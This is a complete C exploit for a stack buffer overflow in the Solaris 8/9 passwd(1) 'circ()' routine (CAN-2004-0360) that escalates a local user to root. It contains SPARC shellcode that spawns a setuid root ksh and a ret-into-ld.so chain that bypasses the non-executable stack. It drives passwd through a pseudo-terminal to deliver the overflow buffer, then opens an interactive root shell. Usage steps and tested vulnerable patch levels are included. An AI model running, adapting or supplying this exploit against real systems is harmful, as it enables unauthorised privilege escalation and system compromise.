Solaris 8/9 passwd(1) - 'circ()' Stack-Based Buffer Overflow Privilege Escalation

/*
 * $Id: raptor_passwd.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
 *
 * raptor_passwd.c - passwd circ() local, Solaris/SPARC 8/9
 * Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Unknown vulnerability in passwd(1) in Solaris 8.0 and 9.0 allows local users
 * to gain privileges via unknown attack vectors (CAN-2004-0360).
 *
 * "Those of you lucky enough to have your lives, take them with you. However,
 * leave the limbs you've lost. They belong to me now." -- Beatrix Kidd0
 *
 * This exploit uses the ret-into-ld.so technique, to effectively bypass the
 * non-executable stack protection (noexec_user_stack=1 in /etc/system). The
 * exploitation wasn't so straight-forward: sending parameters to passwd(1)
 * is somewhat tricky, standard ret-into-stack doesn't seem to work properly
 * for some reason (damn SEGV_ACCERR), and we need to bypass a lot of memory
 * references before reaching ret. Many thanks to Inode <inode@deadlocks.info>.
 *
 * Usage:
 * $ gcc raptor_passwd.c -o raptor_passwd -ldl -Wall
 * $ ./raptor_passwd <current password>
 * [...]
 * # id
 * uid=0(root) gid=1(other) egid=3(sys)
 * #
 *
 * Vulnerable platforms:
 * Solaris 8 with 108993-14 through 108993-31 and without 108993-32 [tested]
 * Solaris 9 without 113476-11 [tested]
 */

#include <ctype.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <stropts.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define INFO1 "raptor_passwd.c - passwd circ() local, Solaris/SPARC 8/9"
#define INFO2 "Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define VULN "/usr/bin/passwd" // target vulnerable program
#define BUFSIZE 256   // size of the evil buffer
#define VARSIZE 1024   // size of the evil env var
#define FFSIZE 64 + 1   // size of the fake frame
#define DUMMY 0xdeadbeef  // dummy memory address
#define CMD "id;uname -a;uptime;\n" // execute upon exploitation

/* voodoo macros */
#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}

char sc[] = /* Solaris/SPARC shellcode (12 + 48 = 60 bytes) */
/* setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

/* globals */
char *env[256];
int env_pos = 0, env_len = 0;

/* prototypes */
int add_env(char *string);
void check_addr(int addr, char *pattern);
int find_pts(char **slave);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
void shell(int fd);
int read_prompt(int fd, char *buf, int size);

/*
 * main()
 */
int main(int argc, char **argv)
{
 char buf[BUFSIZE], var[VARSIZE], ff[FFSIZE];
 char platform[256], release[256], cur_pass[256], tmp[256];
 int i, offset, ff_addr, sc_addr, var_addr;
 int plat_len, prog_len, rel;

 char *arg[2] = {"foo", NULL};
 int arg_len = 4, arg_pos = 1;

 int  pid, cfd, newpts;
 char *newpts_str;

 int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
 int ret = search_ldso("strcpy");
 int rwx_mem = search_rwx_mem();

 /* print exploit information */
 fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

 /* read command line */
 if (argc != 2) {
  fprintf(stderr, "usage: %s current_pass\n\n", argv[0]);
  exit(1);
 }
 sprintf(cur_pass, "%s\n", argv[1]);

 /* get some system information */
 sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
 sysinfo(SI_RELEASE, release, sizeof(release) - 1);
 rel = atoi(release + 2);

 /* prepare the evil buffer */
 memset(buf, 'A', sizeof(buf));
 buf[sizeof(buf) - 1] = 0x0;
 buf[sizeof(buf) - 2] = '\n';

 /* prepare the evil env var */
 memset(var, 'B', sizeof(var));
 var[sizeof(var) - 1] = 0x0;

 /* prepare the fake frame */
 bzero(ff, sizeof(ff));

 /*
  * saved %l registers
  */
 set_val(ff, i  = 0, DUMMY);  /* %l0 */
 set_val(ff, i += 4, DUMMY);  /* %l1 */
 set_val(ff, i += 4, DUMMY);  /* %l2 */
 set_val(ff, i += 4, DUMMY);  /* %l3 */
 set_val(ff, i += 4, DUMMY);  /* %l4 */
 set_val(ff, i += 4, DUMMY);  /* %l5 */
 set_val(ff, i += 4, DUMMY);  /* %l6 */
 set_val(ff, i += 4, DUMMY);  /* %l7 */

 /*
  * saved %i registers
  */
 set_val(ff, i += 4, rwx_mem);  /* %i0: 1st arg to strcpy() */
 set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */
 set_val(ff, i += 4, DUMMY);  /* %i2 */
 set_val(ff, i += 4, DUMMY);  /* %i3 */
 set_val(ff, i += 4, DUMMY);  /* %i4 */
 set_val(ff, i += 4, DUMMY);  /* %i5 */
 set_val(ff, i += 4, sb - 1000);  /* %i6: frame pointer */
 set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */

 /* fill the envp, keeping padding */
 ff_addr = add_env(var);   /* var must be before ff! */
 sc_addr = add_env(ff);
 add_env(sc);
 add_env(NULL);

 /* calculate the offset to argv[0] (voodoo magic) */
 plat_len = strlen(platform) + 1;
 prog_len = strlen(VULN) + 1;
 offset = arg_len + env_len + plat_len + prog_len;
 if (rel > 7)
  VOODOO64(offset, arg_pos, env_pos)
 else
  VOODOO32(offset, plat_len, prog_len)

 /* calculate the needed addresses */
 var_addr = sb - offset + arg_len;
 ff_addr += var_addr;
 sc_addr += var_addr;

 /* set fake frame's %i1 */
 set_val(ff, 36, sc_addr);  /* 2nd arg to strcpy() */

 /* check the addresses */
 check_addr(var_addr, "var_addr");
 check_addr(ff_addr, "ff_addr");

 /* fill the evil buffer */
 for (i = 0; i < BUFSIZE - 4; i += 4)
  set_val(buf, i, var_addr);
 /* may need to bruteforce the distance here */
 set_val(buf, 112, ff_addr);
 set_val(buf, 116, ret - 4);  /* strcpy(), after the save */

 /* fill the evil env var */
 for (i = 0; i < VARSIZE - 4; i += 4)
  set_val(var, i, var_addr);
 set_val(var, 0, 0xffffffff);  /* first byte must be 0xff! */

 /* print some output */
 fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
 fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
 fprintf(stderr, "Using var address\t: 0x%p\n", (void *)var_addr);
 fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
 fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
 fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
 fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
 
 /* find a free pts */
 cfd = find_pts(&newpts_str);

 /* fork() a new process */
 if ((pid = fork()) < 0) {
  perror("fork");
  exit(1);
 }

 /* parent process */
 if (pid) {

  sleep(1);

  /* wait for password prompt */
  if (read_prompt(cfd, tmp, sizeof(tmp)) < 0) {
   fprintf(stderr, "Error: timeout waiting for prompt\n");
   exit(1);
  }
  if (!strstr(tmp, "ssword: ")) {
   fprintf(stderr, "Error: wrong prompt received\n");
   exit(1);
  }
  
  /* send the current password */
  write(cfd, cur_pass, strlen(cur_pass));
  usleep(500000);

  /* wait for password prompt */
  if (read_prompt(cfd, tmp, sizeof(tmp)) < 0) {
   fprintf(stderr, "Error: timeout waiting for prompt\n");
   exit(1);
  }
  if (!strstr(tmp, "ssword: ")) {
   fprintf(stderr, "Error: wrong current_pass?\n");
   exit(1);
  }

  /* send the evil buffer */
  write(cfd, buf, strlen(buf));
  usleep(500000);
  
  /* got root? */
  if (read_prompt(cfd, tmp, sizeof(tmp)) < 0) {
   fprintf(stderr, "Error: timeout waiting for shell\n");
   exit(1);
  }
  if (strstr(tmp, "ssword: ")) {
   fprintf(stderr, "Error: not vulnerable\n");
   exit(1);
  }
  if (!strstr(tmp, "# ")) {
   fprintf(stderr, "Something went wrong...\n");
   exit(1);
  }

  /* semi-interactive shell */
  shell(cfd);

 /* child process */
 } else {

  /* start new session and get rid of controlling terminal */
  if (setsid() < 0) {
   perror("setsid");
   exit(1);
  }

  /* open the new pts */
  if ((newpts = open(newpts_str, O_RDWR)) < 0) {
   perror("open");
   exit(1);
  }

  /* ninja terminal emulation */
  ioctl(newpts, I_PUSH, "ptem");
  ioctl(newpts, I_PUSH, "ldterm");

  /* close the child fd */
  close(cfd);

  /* duplicate stdin */
  if (dup2(newpts, 0) != 0) {
   perror("dup2");
   exit(1);
  }

  /* duplicate stdout */
  if (dup2(newpts, 1) != 1) {
   perror("dup2");
   exit(1);
  }

  /* duplicate stderr */
  if (dup2(newpts, 2) != 2) {
   perror("dup2");
   exit(1);
  }

  /* close the new pts */
  if (newpts > 2)
   close(newpts);

  /* run the vulnerable program */
  execve(VULN, arg, env);
  perror("execve");
 }

 exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
 int i;

 /* null termination */
 if (!string) {
  env[env_pos] = NULL;
  return(env_len);
 }

 /* add the variable to envp */
 env[env_pos] = string;
 env_len += strlen(string) + 1;
 env_pos++;

 /* pad the envp using zeroes */
 if ((strlen(string) + 1) % 4)
  for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
   env[env_pos] = string + strlen(string);
   env_len++;
  }

 return(env_len);
}

/*
 * check_addr(): check an address for 0x00, 0x04, 0x0a, 0x0d or 0x61-0x7a bytes
 */
void check_addr(int addr, char *pattern)
{
 /* check for NULL byte (0x00) */
 if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
     !(addr & 0xff000000)) {
  fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
  exit(1);
 }

 /* check for EOT byte (0x04) */
 if (((addr & 0xff) == 0x04) || ((addr & 0xff00) == 0x0400) ||
     ((addr & 0xff0000) == 0x040000) ||
     ((addr & 0xff000000) == 0x04000000)) {
  fprintf(stderr, "Error: %s contains a 0x04!\n", pattern);
  exit(1);
 }

 /* check for NL byte (0x0a) */
 if (((addr & 0xff) == 0x0a) || ((addr & 0xff00) == 0x0a00) ||
     ((addr & 0xff0000) == 0x0a0000) ||
     ((addr & 0xff000000) == 0x0a000000)) {
  fprintf(stderr, "Error: %s contains a 0x0a!\n", pattern);
  exit(1);
 }

 /* check for CR byte (0x0d) */
 if (((addr & 0xff) == 0x0d) || ((addr & 0xff00) == 0x0d00) ||
     ((addr & 0xff0000) == 0x0d0000) ||
     ((addr & 0xff000000) == 0x0d000000)) {
  fprintf(stderr, "Error: %s contains a 0x0d!\n", pattern);
  exit(1);
 }

 /* check for lowercase chars (0x61-0x7a) */
 if ((islower(addr & 0xff)) || (islower((addr & 0xff00) >> 8)) ||
     (islower((addr & 0xff0000) >> 16)) ||
     (islower((addr & 0xff000000) >> 24))) {
  fprintf(stderr, "Error: %s contains a 0x61-0x7a!\n", pattern);
  exit(1);
 }
}

/*
 * find_pts(): find a free slave pseudo-tty
 */
int find_pts(char **slave)
{
 int  master;
 extern char *ptsname();

 /* open master pseudo-tty device and get new slave pseudo-tty */
 if ((master = open("/dev/ptmx", O_RDWR)) > 0) {
  grantpt(master);
  unlockpt(master);
  *slave = ptsname(master);
  return(master);
 }

 return(-1);
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
 int  addr;
 void  *handle;
 Link_map *lm;

 /* open the executable object file */
 if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
  perror("dlopen");
  exit(1);
 }

 /* get dynamic load information */
 if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
  perror("dlinfo");
  exit(1);
 }

 /* search for the address of the symbol */
 if ((addr = (int)dlsym(handle, sym)) == NULL) {
  fprintf(stderr, "sorry, function %s() not found\n", sym);
  exit(1);
 }

 /* close the executable object file */
 dlclose(handle);

 check_addr(addr - 4, sym);
 return(addr);
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
 int fd;
 char tmp[16];
 prmap_t map;
 int addr = 0, addr_old;

 /* open the proc filesystem */
 sprintf(tmp,"/proc/%d/map", (int)getpid());
 if ((fd = open(tmp, O_RDONLY)) < 0) {
  fprintf(stderr, "can't open %s\n", tmp);
  exit(1);
 }

 /* search for the last RWX memory segment before stack (last - 1) */
 while (read(fd, &map, sizeof(map)))
  if (map.pr_vaddr)
   if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
    addr_old = addr;
    addr = map.pr_vaddr;
   }
 close(fd);

 /* add 4 to the exact address NULL bytes */
 if (!(addr_old & 0xff))
  addr_old |= 0x04;
 if (!(addr_old & 0xff00))
  addr_old |= 0x0400;

 return(addr_old);
}

/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
 buf[pos] = (val & 0xff000000) >> 24;
 buf[pos + 1] = (val & 0x00ff0000) >> 16;
 buf[pos + 2] = (val & 0x0000ff00) >> 8;
 buf[pos + 3] = (val & 0x000000ff);
}

/*
 * shell(): semi-interactive shell hack
 */
void shell(int fd)
{
 fd_set fds;
 char tmp[128];
 int n;

 /* quote from kill bill: vol. 2 */
 fprintf(stderr, "\"Pai Mei taught you the five point palm exploding heart technique?\" -- Bill\n");
 fprintf(stderr, "\"Of course.\" -- Beatrix Kidd0, alias Black Mamba, alias The Bride (KB Vol2)\n\n");

 /* execute auto commands */
 write(1, "# ", 2);
 write(fd, CMD, strlen(CMD));

 /* semi-interactive shell */
 for (;;) {
  FD_ZERO(&fds);
  FD_SET(fd, &fds);
  FD_SET(0, &fds);

  if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
   perror("select");
   break;
  }

  /* read from fd and write to stdout */
  if (FD_ISSET(fd, &fds)) {
   if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
    fprintf(stderr, "Goodbye...\n");
    break;
   }
   if (write(1, tmp, n) < 0) {
    perror("write");
    break;
   }
  }

  /* read from stdin and write to fd */
  if (FD_ISSET(0, &fds)) {
   if ((n = read(0, tmp, sizeof(tmp))) < 0) {
    perror("read");
    break;
   }
   if (write(fd, tmp, n) < 0) {
    perror("write");
    break;
   }
  }
 }

 close(fd);
 exit(1);
}

/*
 * read_prompt(): non-blocking read from fd
 */
int read_prompt(int fd, char *buf, int size)
{
 fd_set  fds;
 struct timeval wait;
 int  n = -1;

 /* set timeout */
 wait.tv_sec = 2;
 wait.tv_usec = 0;

 bzero(buf, size);

 FD_ZERO(&fds);
 FD_SET(fd, &fds);

 /* select with timeout */
 if (select(FD_SETSIZE, &fds, NULL, NULL, &wait) < 0) {
  perror("select");
  exit(1);
 }

 /* read data if any */
 if (FD_ISSET(fd, &fds))
  n = read(fd, buf, size);

 return n;
}